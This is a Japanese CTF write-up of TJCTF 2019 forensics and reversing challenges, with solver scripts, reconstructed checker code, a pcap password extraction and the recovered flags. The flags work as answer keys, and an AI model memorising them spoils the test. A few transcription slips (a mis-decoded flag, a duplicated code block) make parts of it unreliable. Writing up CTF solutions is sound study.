全部unzipしていくやつも書いたんですが間違って消しちゃったのでないです(泣)

[Forensics 30pts] Mind Blown

  • -

One of my friends keeps sending me weird memes from his favorite subreddit but I don't quite understand this one...

  • -

__ meme.jpg __

meme.jpgをバイナリエディタで開いてみるとjpgファイルのヘッダの部分が複数個見つかりました。
試しに一つずつ消して見るとフラグが手に入りました。これすごい
f:id:mi__tsu:20190410201746p:plain
f:id:mi__tsu:20190410201753j:plain
f:id:mi__tsu:20190410202028p:plain
f:id:mi__tsu:20190410201854j:plain
f:id:mi__tsu:20190410202121p:plain
f:id:mi__tsu:20190410202111j:plain

[Reversing 30pts] Checker

--
Found a flag checker program that looked pretty sketchy. Take a look at it.
--
__ Checker.java __

どうやら文字列を1010みたいな形に変換しているようだ。
javaのコードを読んでみると、文字を二進数にした後ビット反転し、それで出てきた二進数自体を文字列と見て9文字分だけ後ろにくっつけていることがわかった。
コードどぺ

1111101: }
110011:  3
1100011: c
110001:  1
1110011: s
1101011: k
1100011: c
110001:  1
1110101: u
1110001: q
1111011: {
1100110: f
1110100: t
1100011: c
1101010: j
1110100: t

こんな感じになる。実はこれを満たすようなものがいくつかあって、最後は少しだけえすぱーが必要になった。
tjctf{qu1cks1c3}

[Reversing 40pts] Broken Parrot

--
I found this annoying parrot. I wish I could just ignore it, but I've heard that it knows something special.
--
__ parrot __

32bitのELFファイルが渡されるので試しに実行してみます。
どうやら入力を受け取った後それをそのまま表示するものっぽいです。逆アセンブルしてみてみると入力された文字列がフラグだったとき、"You got my flag!"と表示するようです。
"tjctf{my_b3l0v3d_5qu4wk3r_w0n7_y0u_l34v3_m3_4l0n3}" という文字列がdataセクションに格納されているらしく、この文字列をベースに受け取った文字列をチェックしているっぽいです。
アセンブリを頑張って読むと、ベース文字列を加工して"tjctf{"、"3d_"、"d"、"0n7_y0u_"、"m3_4l0n3"をつなげたものと比較していることがわかりました。
tjctf{3d_d0n7_y0u_l34v3_m3_4l0n3}

[Forensicas 40pts] Cable Selachimorpha

--
Although Omkar is the expert at web, I was still able to intercept his communications. Find out what password he used to login into his website so that we can gain access to it and see what Omkar is up to.
--
__ capture.pcapng __

stringsします

& strings capture.pcap  | grep tjctf
usr=omkar&pwd=tjctf%7Bb0mk4r_br0k3_b10n%7D

URLエンコーディングされてるので直します。
tjctf{Bb0mk4r_br0k3_b10n}

[Reversing 50pts] Comprehensive

--
Please teach me how to be a comprehension master, all my friends are counting on me!
Original output: 225, 228, 219, 223, 220, 231, 205, 217, 224, 231, 228, 210, 208, 227, 220, 234, 236, 222, 232, 235, 227, 217, 223, 234, 2613
--
__ comprehensive.py __

チーム開発で書いたら物議を醸しそうなpythonのソースが渡されます。
内包表記を全部展開してあげると次のようになりました。

#Original output: 225, 228, 219, 223, 220, 231, 205, 217, 224, 231, 228, 210, 208, 227, 220, 234, 236, 222, 232, 235, 227, 217, 223, 234, 2613

m = 'tjctf{?????????????????}'.lower()
k = '????????'.lower()

"""
f = [[ord(k[a]) ^ ord(m[a+b]) for a in range(len(k))] for b in range(0, len(m), len(k))]
g = [a for b in f for a in b]
"""

g = []
for i in range(24):
    g.append(ord(m[i]) ^ ord(k[i % 8]))
print(g)

# h = [[g[a] for a in range(b, len(g), len(f[0]))] for b in range(len(f[0]))]
h = []
for b in range(len(f[0])):
    x = []
    for a in range(b, len(g), len(f[0])):
        x.append(g[a])
    h.append(x)

# i = [[h[b][a] ^ ord(k[a]) for a in range(len(h[0]))] for b in range(len(h))]
i = [0]*24
cnt = 0
for a in range(8):
    for b in range(3):
        i[cnt] = (g[b * 8 + a] ^ ord(k[b]))
        cnt += 1
print(i)

x = []
for b in i:
    for a in b:
        x.append(a + ord(k[0]))
print(x)
t = []
for a in m:
    t.append(ord(a))
y = sum(t)

print(str(x)[1:-1])
print(y)

これで最終的な出力が問題文の通りになるようなフラグを求めればいいことがわかります。z3pyでゴリゴリソルバを書きました。
コードどぺー

from z3 import *


m = [BitVec("m%d" % i, 8) for i in range(24)]
k = [BitVec("k%d" % i, 8) for i in range(8)]

s = Solver()

for i in range(24):
    s.add(Or(And(m[i] >= 33, m[i] <= 64), And(m[i] >= 91, m[i] <= 126)))

for i in range(8):
    s.add(Or(And(k[i] >= 33, k[i] <= 64), And(k[i] >= 91, k[i] <= 126)))


s.add(m[0] == 116) # t
s.add(m[1] == 106) # j
s.add(m[2] == 99)  # c
s.add(m[3] == 116) # t
s.add(m[4] == 102) # f
s.add(m[5] == 123) # {
s.add(m[23] == 125) # }

g = [BitVec("g%d" % i, 8) for i in range(24)]
for i in range(24):
    s.add(g[i] == (m[i] ^ k[i % 8]))

i = [BitVec("i%d" % j, 8) for j in range(24)]
cnt = 0
for a in range(8):
    for b in range(3):
        s.add(i[cnt] == g[b * 8 + a] ^ k[b])
        cnt += 1

x = [BitVec("x%d" % j, 8) for j in range(24)]
for j in range(24):
    s.add(x[j] == i[j] + k[0])

list = [225, 228, 219, 223, 220, 231, 205, 217, 224, 231, 228, 210, 208, 227, 220, 234, 236, 222, 232, 235, 227, 217, 223, 234]
for j in range(24):
    s.add(x[j] == list[j])

sum = 0
for j in range(24):
    sum += m[j]

s.add(sum == 2613)

print(s.check())
model = s.model()

for i in range(24):
    print(chr(model[m[i]].as_long()), end="")

tjctf{oooowakarimashita}

[Reversing 70pts] Invalidator

--
Come one, come all! I offer to you unparalleled convenience in getting your flags invalidated!
--
__ Invalidator __


32bitのELFファイルが渡されるので実行してみます。引数にフラグを渡して、それがちゃんとしたフラグだったら"Valid Flag"と言われるようです。
アセンブルしてフラグチェック部分だけ適当にでコンパイルしてみるとこんな感じになります。

r ="M\x00\x00\x00q\x00\x00\x00Y\x00\x00\x00¡\x00\x00\x00»\x00\x00\x00@\x00\x00\x00ù\x00\x00\x00\x0e\x00\x00\x00K\x00\x00\x00\x85\x00\x00\x00¨\x00\x00\x00:\x00\x00\x00Ê\x00\x00\x00R\x00\x00\x00\x9c\x00\x00\x00\x82\x00\x00\x00\x14\x00\x00\x00\x8a\x00\x00\x00Ê\x00\x00\x00w\x00\x00\x00¨\x00\x00\x00Ì\x00\x00\x00\x81\x00\x00\x00$\x00\x00\x00ù\x00\x00\x00ÿ\x00\x00\x00\x08\x00\x00\x00U\x00\x00\x00N\x00\x00\x00P\x00\x00\x00q\x00\x00\x00\x9f\x00\x00\x00%\x00\x00\x00ð\x00\x00\x00\'\x00\x00\x00Å\x00\x00\x00\x11\x00\x00\x00:\x00\x00\x00L\x00\x00\x00\x88\x00\x00\x00´\x00\x00\x00ß\x00\x00\x00Ï\x00\x00\x00\x84\x00\x00\x004\x00\x00\x00 \x00\x00\x00i\x00\x00\x00º\x00\x00\x00\x8d\x00\x00\x00\x0f\x00\x00\x00ö\x00\x00\x00\x85\x00\x00\x00Å\x00\x00\x00½\x00\x00\x00ä\x00\x00\x00º\x00\x00\x00\x08\x00\x00\x00:\x00\x00\x00ö\x00\x00\x00ö\x00\x00\x00f\x00\x00\x00\x08\x00\x00\x00´\x00\x00\x00ô\x00\x00\x00ó\x00\x00\x00\x93\x00\x00\x00\t\x00\x00\x00E\x00\x00\x00~\x00\x00\x00[\x00\x00\x00y\x00\x00\x00\x02\x00\x00\x00\x87\x00\x00\x00Å\x00\x00\x00v\x00\x00\x00^\x00\x00\x00d\x00\x00\x00ð\x00\x00\x00\x9b\x00\x00\x00p\x00\x00\x00\x83\x00\x00\x00\x91\x00\x00\x00L\x00\x00\x00Ã\x00\x00\x00<\x00\x00\x00Ý\x00\x00\x00\x10\x00\x00\x00¾\x00\x00\x00\x98\x00\x00\x00\x8f\x00\x00\x00\x17\x00\x00\x00\x0f\x00\x00\x00ð\x00\x00\x00º\x00\x00\x00&\x00\x00\x00n\x00\x00\x00¨\x00\x00\x00õ\x00\x00\x00Z\x00\x00\x00\x81\x00\x00\x00è\x00\x00\x00U\x00\x00\x00\x8d\x00\x00\x001\x00\x00\x00ç\x00\x00\x00J\x00\x00\x00\x07\x00\x00\x00C\x00\x00\x005\x00\x00\x00\x86\x00\x00\x00z\x00\x00\x00Ý\x00\x00\x00\xad\x00\x00\x00a\x00\x00\x00K\x00\x00\x00è\x00\x00\x005\x00\x00\x00\x9e\x00\x00\x00\x0f\x00\x00\x00ø\x00\x00\x00K\x00\x00\x00Õ\x00\x00\x00\x0e\x00\x00\x003\x00\x00\x001\x00\x00\x00ï\x00\x00\x00ð\x00\x00\x00\x00\x00\x00\x00\x94\x00\x00\x00¤\x00\x00\x00b\x00\x00\x00^\x00\x00\x00Ö\x00\x00\x00W\x00\x00\x00\x06\x00\x00\x00Ý\x00\x00\x00ñ\x00\x00\x00Ò\x00\x00\x00\x02\x00\x00\x00h\x00\x00\x00¡\x00\x00\x00ù\x00\x00\x00å\x00\x00\x00\x8f\x00\x00\x00÷\x00\x00\x00¨\x00\x00\x00e\x00\x00\x00·\x00\x00\x00>\x00\x00\x00\x9c\x00\x00\x00$\x00\x00\x00\x03\x00\x00\x00@\x00\x00\x00\x98\x00\x00\x00\x9e\x00\x00\x00\x96\x00\x00\x00¢\x00\x00\x00\x05\x00\x00\x00¨\x00\x00\x00)\x00\x00\x00ø\x00\x00\x00ç\x00\x00\x00I\x00\x00\x00è\x00\x00\x00H\x00\x00\x00b\x00\x00\x00^\x00\x00\x00\x00\x00\x00\x00/\x00\x00\x00¤\x00\x00\x00J\x00\x00\x00ß\x00\x00\x00¹\x00\x00\x00Ö\x00\x00\x00Ï\x00\x00\x00è\x00\x00\x00\x15\x00\x00\x00ê\x00\x00\x00n\x00\x00\x00Ç\x00\x00\x00\xad\x00\x00\x00ð\x00\x00\x00í\x00\x00\x00\x9c\x00\x00\x00I\x00\x00\x00á\x00\x00\x00¡\x00\x00\x00c\x00\x00\x00°\x00\x00\x00#\x00\x00\x00Á\x00\x00\x00ô\x00\x00\x00ñ\x00\x00\x00~\x00\x00\x00*\x00\x00\x00\x8f\x00\x00\x00R\x00\x00\x00\x94\x00\x00\x00µ\x00\x00\x00\x81\x00\x00\x00Z\x00\x00\x008\x00\x00\x00V\x00\x00\x00ë\x00\x00\x00\x1b\x00\x00\x00g\x00\x00\x00Ø\x00\x00\x00C\x00\x00\x00]\x00\x00\x00ã\x00\x00\x00Å\x00\x00\x00ü\x00\x00\x00å\x00\x00\x00\x94\x00\x00\x00q\x00\x00\x00\\\x00\x00\x00G\x00\x00\x00¤\x00\x00\x00\x06\x00\x00\x00>\x00\x00\x00\n\x00\x00\x00þ\x00\x00\x00\x17\x00\x00\x00§\x00\x00\x00Ý\x00\x00\x00\x9a\x00\x00\x00f\x00\x00\x00Ý\x00\x00\x00Ç\x00\x00\x00\x8a\x00\x00\x00¨\x00\x00\x00\x1f\x00\x00\x00Ý\x00\x00\x00¢\x00\x00\x00É\x00\x00\x00Ô\x00\x00\x00ö\x00\x00\x00Ê\x00\x00\x00\x8f\x00\x00\x00j\x00\x00\x00ï\x00\x00\x00e\x00\x00\x00\x1c\x00\x00\x00ì\x00\x00\x00\x05\x00\x00\x00\x90\x00\x00\x00d\x00\x00\x00{\x00\x00\x00\x92\x00\x00\x00\x8e\x00\x00\x00A\x00\x00\x00^\x00\x00\x00\x97\x00\x00\x00\x95\x00\x00\x009\x00\x00\x00_\x00\x00\x00`\x00\x00\x00\x18\x00\x00\x00`\x00\x00\x00\x10\x00\x00\x00(\x00\x00\x00Q\x00\x00\x00\x92\x00\x00\x00î\x00\x00\x00\x80\x00\x00\x00\x8b\x00\x00\x00þ\x00\x00\x00V\x00\x00\x00"\x00\x00\x00\x96\x00\x00\x00n\x00\x00\x00ã\x00\x00\x00¸\x00\x00\x00\x95\x00\x00\x00¦\x00\x00\x00q\x00\x00\x00R\x00\x00\x00G\x00\x00\x00ä\x00\x00\x00\x95\x00\x00\x00Æ\x00\x00\x00\x95\x00\x00\x00÷\x00\x00\x00L\x00\x00\x00W\x00\x00\x00\x8f\x00\x00\x00_\x00\x00\x00\xad\x00\x00\x006\x00\x00\x00J\x00\x00\x00ß\x00\x00\x00\x1c\x00\x00\x003\x00\x00\x00\x14\x00\x00\x00o\x00\x00\x00U\x00\x00\x00\x10\x00\x00\x000\x00\x00\x00\x95\x00\x00\x00û\x00\x00\x00\x02\x00\x00\x00µ\x00\x00\x00\xad\x00\x00\x00Ó\x00\x00\x00\x02\x00\x00\x00\x82\x00\x00\x00Ë\x00\x00\x002\x00\x00\x00\x11\x00\x00\x00\x83\x00\x00\x00Ì\x00\x00\x00U\x00\x00\x00\x8b\x00\x00\x00b\x00\x00\x00×\x00\x00\x00,\x00\x00\x00\x8d\x00\x00\x00\x10\x00\x00\x00ð\x00\x00\x00!\x00\x00\x00Ï\x00\x00\x00L\x00\x00\x00\x0b\x00\x00\x00Î\x00\x00\x006\x00\x00\x00=\x00\x00\x00ø\x00\x00\x006\x00\x00\x00\x83\x00\x00\x00\x8a\x00\x00\x00\x8f\x00\x00\x00»\x00\x00\x00\xa0\x00\x00\x00r\x00\x00\x00ö\x00\x00\x00i\x00\x00\x00ÿ\x00\x00\x00µ\x00\x00\x00ú\x00\x00\x00ñ\x00\x00\x00^\x00\x00\x00\'\x00\x00\x00Ö\x00\x00\x00\x85\x00\x00\x00Ð\x00\x00\x00p\x00\x00\x00>\x00\x00\x00¸\x00\x00\x00»\x00\x00\x009\x00\x00\x000\x00\x00\x00|\x00\x00\x00Æ\x00\x00\x00k\x00\x00\x00\x01\x00\x00\x00\x83\x00\x00\x00\x01\x00\x00\x00\x9a\x00\x00\x00*\x00\x00\x00è\x00\x00\x00Ô\x00\x00\x00\x86\x00\x00\x00\x01\x00\x00\x00\xa0\x00\x00\x00"\x00\x00\x00\x9c\x00\x00\x00f\x00\x00\x00\x89\x00\x00\x00Õ\x00\x00\x00î\x00\x00\x00(\x00\x00\x00+\x00\x00\x00e\x00\x00\x00Ó\x00\x00\x00ã\x00\x00\x00Ü\x00\x00\x003\x00\x00\x00&\x00\x00\x00o\x00\x00\x00\x02\x00\x00\x00ò\x00\x00\x00ó\x00\x00\x00L\x00\x00\x00á\x00\x00\x00\x84\x00\x00\x00¶\x00\x00\x00\x17\x00\x00\x00x\x00\x00\x00©\x00\x00\x00S\x00\x00\x00c\x00\x00\x00ä\x00\x00\x00¬\x00\x00\x00±\x00\x00\x00\x87\x00\x00\x00t\x00\x00\x00\'\x00\x00\x00y\x00\x00\x00\x82\x00\x00\x00[\x00\x00\x00¢\x00\x00\x00\x9d\x00\x00\x00\r\x00\x00\x00M\x00\x00\x00*\x00\x00\x00\x8b\x00\x00\x00h\x00\x00\x00-\x00\x00\x00²\x00\x00\x00\x07\x00\x00\x00\x17\x00\x00\x00\x9a\x00\x00\x00w\x00\x00\x00U\x00\x00\x00\'\x00\x00\x00[\x00\x00\x00¢\x00\x00\x00B\x00\x00\x00\x1e\x00\x00\x008\x00\x00\x00?\x00\x00\x00%\x00\x00\x00\x0f\x00\x00\x00\x06\x00\x00\x00\x91\x00\x00\x00X\x00\x00\x00\x16\x00\x00\x00{\x00\x00\x00E\x00\x00\x00J\x00\x00\x003\x00\x00\x00¥\x00\x00\x00\x05\x00\x00\x00\r\x00\x00\x00m\x00\x00\x00e\x00\x00\x00Â\x00\x00\x00\x7f\x00\x00\x00M\x00\x00\x00\x19\x00\x00\x00Ê\x00\x00\x00\x02\x00\x00\x00Í\x00\x00\x00ß\x00\x00\x00l\x00\x00\x00\x81\x00\x00\x00\xad\x00\x00\x00Å\x00\x00\x00ø\x00\x00\x00*\x00\x00\x00j\x00\x00\x00¾\x00\x00\x00;\x00\x00\x00\x1e\x00\x00\x00Ó\x00\x00\x007\x00\x00\x00ø\x00\x00\x00ï\x00\x00\x00\x94\x00\x00\x00ý\x00\x00\x00(\x00\x00\x00\x94\x00\x00\x00©\x00\x00\x00\x89\x00\x00\x00F\x00\x00\x00\x87\x00\x00\x005\x00\x00\x00\x17\x00\x00\x00L\x00\x00\x00Õ\x00\x00\x00Á\x00\x00\x00ë\x00\x00\x00¾\x00\x00\x00I\x00\x00\x00\x86\x00\x00\x00\x1c\x00\x00\x00A\x00\x00\x00Ù\x00\x00\x00X\x00\x00\x006\x00\x00\x00\x1f\x00\x00\x00\x0f\x00\x00\x00ö\x00\x00\x00q\x00\x00\x00d\x00\x00\x00Ù\x00\x00\x00Q\x00\x00\x00\x80\x00\x00\x00t\x00\x00\x00Õ\x00\x00\x00×\x00\x00\x00q\x00\x00\x00¿\x00\x00\x00Ô\x00\x00\x00\x8d\x00\x00\x00J\x00\x00\x00W\x00\x00\x00ý\x00\x00\x00ù\x00\x00\x00Ç\x00\x00\x00½\x00\x00\x00ö\x00\x00\x00p\x00\x00\x00×\x00\x00\x00¬\x00\x00\x00×\x00\x00\x00.\x00\x00\x00s\x00\x00\x00\x1e\x00\x00\x00Ì\x00\x00\x00¢\x00\x00\x00ê\x00\x00\x00"

bool strcmp(char *__s1, char *__s2) {
    int cnt = 0;

    while(r[(cnt * 4 + 2) * 4] == r[(cnt + 0x40) * 0x10] ^ __s2[cnt] ^ __s1[cnt * 0x10] && __s2[cnt] != 0) {
        cnt ++;
    }
    if(cnt == 0x28) return true;
    else return false;
}

main() {
    strcmp("tjctf{0h_my_4_51mpl370n_4_r3d_h3rr1n6_f0r_7h33}", input);"

bool strcmp(char *__s1, char *__s2) {
    int cnt = 0;

    while(r[(cnt * 4 + 2) * 4] == r[(cnt + 0x40) * 0x10] ^ __s2[cnt] ^ __s1[cnt * 0x10] && __s2[cnt] != 0) {
        cnt ++;
    }
    if(cnt == 0x28) return true;
    else return false;
}

main() {
    strcmp("tjctf{0h_my_4_51mpl370n_4_r3d_h3rr1n6_f0r_7h33}", input);
}

ソルバどぺー

r = 'M\x00\x00\x00q\x00\x00\x00Y\x00\x00\x00¡\x00\x00\x00»\x00\x00\x00@\x00\x00\x00ù\x00\x00\x00\x0e\x00\x00\x00K\x00\x00\x00\x85\x00\x00\x00¨\x00\x00\x00:\x00\x00\x00Ê\x00\x00\x00R\x00\x00\x00\x9c\x00\x00\x00\x82\x00\x00\x00\x14\x00\x00\x00\x8a\x00\x00\x00Ê\x00\x00\x00w\x00\x00\x00¨\x00\x00\x00Ì\x00\x00\x00\x81\x00\x00\x00$\x00\x00\x00ù\x00\x00\x00ÿ\x00\x00\x00\x08\x00\x00\x00U\x00\x00\x00N\x00\x00\x00P\x00\x00\x00q\x00\x00\x00\x9f\x00\x00\x00%\x00\x00\x00ð\x00\x00\x00\'\x00\x00\x00Å\x00\x00\x00\x11\x00\x00\x00:\x00\x00\x00L\x00\x00\x00\x88\x00\x00\x00´\x00\x00\x00ß\x00\x00\x00Ï\x00\x00\x00\x84\x00\x00\x004\x00\x00\x00 \x00\x00\x00i\x00\x00\x00º\x00\x00\x00\x8d\x00\x00\x00\x0f\x00\x00\x00ö\x00\x00\x00\x85\x00\x00\x00Å\x00\x00\x00½\x00\x00\x00ä\x00\x00\x00º\x00\x00\x00\x08\x00\x00\x00:\x00\x00\x00ö\x00\x00\x00ö\x00\x00\x00f\x00\x00\x00\x08\x00\x00\x00´\x00\x00\x00ô\x00\x00\x00ó\x00\x00\x00\x93\x00\x00\x00\t\x00\x00\x00E\x00\x00\x00~\x00\x00\x00[\x00\x00\x00y\x00\x00\x00\x02\x00\x00\x00\x87\x00\x00\x00Å\x00\x00\x00v\x00\x00\x00^\x00\x00\x00d\x00\x00\x00ð\x00\x00\x00\x9b\x00\x00\x00p\x00\x00\x00\x83\x00\x00\x00\x91\x00\x00\x00L\x00\x00\x00Ã\x00\x00\x00<\x00\x00\x00Ý\x00\x00\x00\x10\x00\x00\x00¾\x00\x00\x00\x98\x00\x00\x00\x8f\x00\x00\x00\x17\x00\x00\x00\x0f\x00\x00\x00ð\x00\x00\x00º\x00\x00\x00&\x00\x00\x00n\x00\x00\x00¨\x00\x00\x00õ\x00\x00\x00Z\x00\x00\x00\x81\x00\x00\x00è\x00\x00\x00U\x00\x00\x00\x8d\x00\x00\x001\x00\x00\x00ç\x00\x00\x00J\x00\x00\x00\x07\x00\x00\x00C\x00\x00\x005\x00\x00\x00\x86\x00\x00\x00z\x00\x00\x00Ý\x00\x00\x00\xad\x00\x00\x00a\x00\x00\x00K\x00\x00\x00è\x00\x00\x005\x00\x00\x00\x9e\x00\x00\x00\x0f\x00\x00\x00ø\x00\x00\x00K\x00\x00\x00Õ\x00\x00\x00\x0e\x00\x00\x003\x00\x00\x001\x00\x00\x00ï\x00\x00\x00ð\x00\x00\x00\x00\x00\x00\x00\x94\x00\x00\x00¤\x00\x00\x00b\x00\x00\x00^\x00\x00\x00Ö\x00\x00\x00W\x00\x00\x00\x06\x00\x00\x00Ý\x00\x00\x00ñ\x00\x00\x00Ò\x00\x00\x00\x02\x00\x00\x00h\x00\x00\x00¡\x00\x00\x00ù\x00\x00\x00å\x00\x00\x00\x8f\x00\x00\x00÷\x00\x00\x00¨\x00\x00\x00e\x00\x00\x00·\x00\x00\x00>\x00\x00\x00\x9c\x00\x00\x00$\x00\x00\x00\x03\x00\x00\x00@\x00\x00\x00\x98\x00\x00\x00\x9e\x00\x00\x00\x96\x00\x00\x00¢\x00\x00\x00\x05\x00\x00\x00¨\x00\x00\x00)\x00\x00\x00ø\x00\x00\x00ç\x00\x00\x00I\x00\x00\x00è\x00\x00\x00H\x00\x00\x00b\x00\x00\x00^\x00\x00\x00\x00\x00\x00\x00/\x00\x00\x00¤\x00\x00\x00J\x00\x00\x00ß\x00\x00\x00¹\x00\x00\x00Ö\x00\x00\x00Ï\x00\x00\x00è\x00\x00\x00\x15\x00\x00\x00ê\x00\x00\x00n\x00\x00\x00Ç\x00\x00\x00\xad\x00\x00\x00ð\x00\x00\x00í\x00\x00\x00\x9c\x00\x00\x00I\x00\x00\x00á\x00\x00\x00¡\x00\x00\x00c\x00\x00\x00°\x00\x00\x00#\x00\x00\x00Á\x00\x00\x00ô\x00\x00\x00ñ\x00\x00\x00~\x00\x00\x00*\x00\x00\x00\x8f\x00\x00\x00R\x00\x00\x00\x94\x00\x00\x00µ\x00\x00\x00\x81\x00\x00\x00Z\x00\x00\x008\x00\x00\x00V\x00\x00\x00ë\x00\x00\x00\x1b\x00\x00\x00g\x00\x00\x00Ø\x00\x00\x00C\x00\x00\x00]\x00\x00\x00ã\x00\x00\x00Å\x00\x00\x00ü\x00\x00\x00å\x00\x00\x00\x94\x00\x00\x00q\x00\x00\x00\\\x00\x00\x00G\x00\x00\x00¤\x00\x00\x00\x06\x00\x00\x00>\x00\x00\x00\n\x00\x00\x00þ\x00\x00\x00\x17\x00\x00\x00§\x00\x00\x00Ý\x00\x00\x00\x9a\x00\x00\x00f\x00\x00\x00Ý\x00\x00\x00Ç\x00\x00\x00\x8a\x00\x00\x00¨\x00\x00\x00\x1f\x00\x00\x00Ý\x00\x00\x00¢\x00\x00\x00É\x00\x00\x00Ô\x00\x00\x00ö\x00\x00\x00Ê\x00\x00\x00\x8f\x00\x00\x00j\x00\x00\x00ï\x00\x00\x00e\x00\x00\x00\x1c\x00\x00\x00ì\x00\x00\x00\x05\x00\x00\x00\x90\x00\x00\x00d\x00\x00\x00{\x00\x00\x00\x92\x00\x00\x00\x8e\x00\x00\x00A\x00\x00\x00^\x00\x00\x00\x97\x00\x00\x00\x95\x00\x00\x009\x00\x00\x00_\x00\x00\x00`\x00\x00\x00\x18\x00\x00\x00`\x00\x00\x00\x10\x00\x00\x00(\x00\x00\x00Q\x00\x00\x00\x92\x00\x00\x00î\x00\x00\x00\x80\x00\x00\x00\x8b\x00\x00\x00þ\x00\x00\x00V\x00\x00\x00"\x00\x00\x00\x96\x00\x00\x00n\x00\x00\x00ã\x00\x00\x00¸\x00\x00\x00\x95\x00\x00\x00¦\x00\x00\x00q\x00\x00\x00R\x00\x00\x00G\x00\x00\x00ä\x00\x00\x00\x95\x00\x00\x00Æ\x00\x00\x00\x95\x00\x00\x00÷\x00\x00\x00L\x00\x00\x00W\x00\x00\x00\x8f\x00\x00\x00_\x00\x00\x00\xad\x00\x00\x006\x00\x00\x00J\x00\x00\x00ß\x00\x00\x00\x1c\x00\x00\x003\x00\x00\x00\x14\x00\x00\x00o\x00\x00\x00U\x00\x00\x00\x10\x00\x00\x000\x00\x00\x00\x95\x00\x00\x00û\x00\x00\x00\x02\x00\x00\x00µ\x00\x00\x00\xad\x00\x00\x00Ó\x00\x00\x00\x02\x00\x00\x00\x82\x00\x00\x00Ë\x00\x00\x002\x00\x00\x00\x11\x00\x00\x00\x83\x00\x00\x00Ì\x00\x00\x00U\x00\x00\x00\x8b\x00\x00\x00b\x00\x00\x00×\x00\x00\x00,\x00\x00\x00\x8d\x00\x00\x00\x10\x00\x00\x00ð\x00\x00\x00!\x00\x00\x00Ï\x00\x00\x00L\x00\x00\x00\x0b\x00\x00\x00Î\x00\x00\x006\x00\x00\x00=\x00\x00\x00ø\x00\x00\x006\x00\x00\x00\x83\x00\x00\x00\x8a\x00\x00\x00\x8f\x00\x00\x00»\x00\x00\x00\xa0\x00\x00\x00r\x00\x00\x00ö\x00\x00\x00i\x00\x00\x00ÿ\x00\x00\x00µ\x00\x00\x00ú\x00\x00\x00ñ\x00\x00\x00^\x00\x00\x00\'\x00\x00\x00Ö\x00\x00\x00\x85\x00\x00\x00Ð\x00\x00\x00p\x00\x00\x00>\x00\x00\x00¸\x00\x00\x00»\x00\x00\x009\x00\x00\x000\x00\x00\x00|\x00\x00\x00Æ\x00\x00\x00k\x00\x00\x00\x01\x00\x00\x00\x83\x00\x00\x00\x01\x00\x00\x00\x9a\x00\x00\x00*\x00\x00\x00è\x00\x00\x00Ô\x00\x00\x00\x86\x00\x00\x00\x01\x00\x00\x00\xa0\x00\x00\x00"\x00\x00\x00\x9c\x00\x00\x00f\x00\x00\x00\x89\x00\x00\x00Õ\x00\x00\x00î\x00\x00\x00(\x00\x00\x00+\x00\x00\x00e\x00\x00\x00Ó\x00\x00\x00ã\x00\x00\x00Ü\x00\x00\x003\x00\x00\x00&\x00\x00\x00o\x00\x00\x00\x02\x00\x00\x00ò\x00\x00\x00ó\x00\x00\x00L\x00\x00\x00á\x00\x00\x00\x84\x00\x00\x00¶\x00\x00\x00\x17\x00\x00\x00x\x00\x00\x00©\x00\x00\x00S\x00\x00\x00c\x00\x00\x00ä\x00\x00\x00¬\x00\x00\x00±\x00\x00\x00\x87\x00\x00\x00t\x00\x00\x00\'\x00\x00\x00y\x00\x00\x00\x82\x00\x00\x00[\x00\x00\x00¢\x00\x00\x00\x9d\x00\x00\x00\r\x00\x00\x00M\x00\x00\x00*\x00\x00\x00\x8b\x00\x00\x00h\x00\x00\x00-\x00\x00\x00²\x00\x00\x00\x07\x00\x00\x00\x17\x00\x00\x00\x9a\x00\x00\x00w\x00\x00\x00U\x00\x00\x00\'\x00\x00\x00[\x00\x00\x00¢\x00\x00\x00B\x00\x00\x00\x1e\x00\x00\x008\x00\x00\x00?\x00\x00\x00%\x00\x00\x00\x0f\x00\x00\x00\x06\x00\x00\x00\x91\x00\x00\x00X\x00\x00\x00\x16\x00\x00\x00{\x00\x00\x00E\x00\x00\x00J\x00\x00\x003\x00\x00\x00¥\x00\x00\x00\x05\x00\x00\x00\r\x00\x00\x00m\x00\x00\x00e\x00\x00\x00Â\x00\x00\x00\x7f\x00\x00\x00M\x00\x00\x00\x19\x00\x00\x00Ê\x00\x00\x00\x02\x00\x00\x00Í\x00\x00\x00ß\x00\x00\x00l\x00\x00\x00\x81\x00\x00\x00\xad\x00\x00\x00Å\x00\x00\x00ø\x00\x00\x00*\x00\x00\x00j\x00\x00\x00¾\x00\x00\x00;\x00\x00\x00\x1e\x00\x00\x00Ó\x00\x00\x007\x00\x00\x00ø\x00\x00\x00ï\x00\x00\x00\x94\x00\x00\x00ý\x00\x00\x00(\x00\x00\x00\x94\x00\x00\x00©\x00\x00\x00\x89\x00\x00\x00F\x00\x00\x00\x87\x00\x00\x005\x00\x00\x00\x17\x00\x00\x00L\x00\x00\x00Õ\x00\x00\x00Á\x00\x00\x00ë\x00\x00\x00¾\x00\x00\x00I\x00\x00\x00\x86\x00\x00\x00\x1c\x00\x00\x00A\x00\x00\x00Ù\x00\x00\x00X\x00\x00\x006\x00\x00\x00\x1f\x00\x00\x00\x0f\x00\x00\x00ö\x00\x00\x00q\x00\x00\x00d\x00\x00\x00Ù\x00\x00\x00Q\x00\x00\x00\x80\x00\x00\x00t\x00\x00\x00Õ\x00\x00\x00×\x00\x00\x00q\x00\x00\x00¿\x00\x00\x00Ô\x00\x00\x00\x8d\x00\x00\x00J\x00\x00\x00W\x00\x00\x00ý\x00\x00\x00ù\x00\x00\x00Ç\x00\x00\x00½\x00\x00\x00ö\x00\x00\x00p\x00\x00\x00×\x00\x00\x00¬\x00\x00\x00×\x00\x00\x00.\x00\x00\x00s\x00\x00\x00\x1e\x00\x00\x00Ì\x00\x00\x00¢\x00\x00\x00ê\x00\x00\x00'

s = "tjctf{0h_my_4_51mpl370n_4_r3d_h3rr1n6_f0r_7h33}"

for cnt in range(0x28):
    s2 = ord(r[(cnt * 4 + 2) * 4]) ^ ord(r[(cnt + 0x40) * 0x10]) ^ ord(r[cnt * 0x10])
    print(chr(s2), end="")

実は罠があって、rの文字列なんですがradare2で見てあげると途中で切れています。その状態だと復号するときにout of rangeエラーが出てしまうのでちゃんと続きまで適当につなげて挙げないとだめっぽいです。自分はバイナリエディタからその文字列のアドレスの部分を適当に引っ張ってきていい感じに置換するプログラムを書きました(置換しないと\x00としたいところが00になってしまうので)
tjctf{7h4nk_y0u_51r_0r_m4d4m3_v3ry_c00l}

[Forensics 70pts] SOS

--
Help! I swiped this off some extraterrestrial musician's laptop, but I think I'm getting trolled. I tried to intercept their communications, but their frequency is just too high. There's something wrong, but I just can't put my ear on it...
--
__ music.wav __

waveファイルが渡されます。曲はいつものやつでした笑
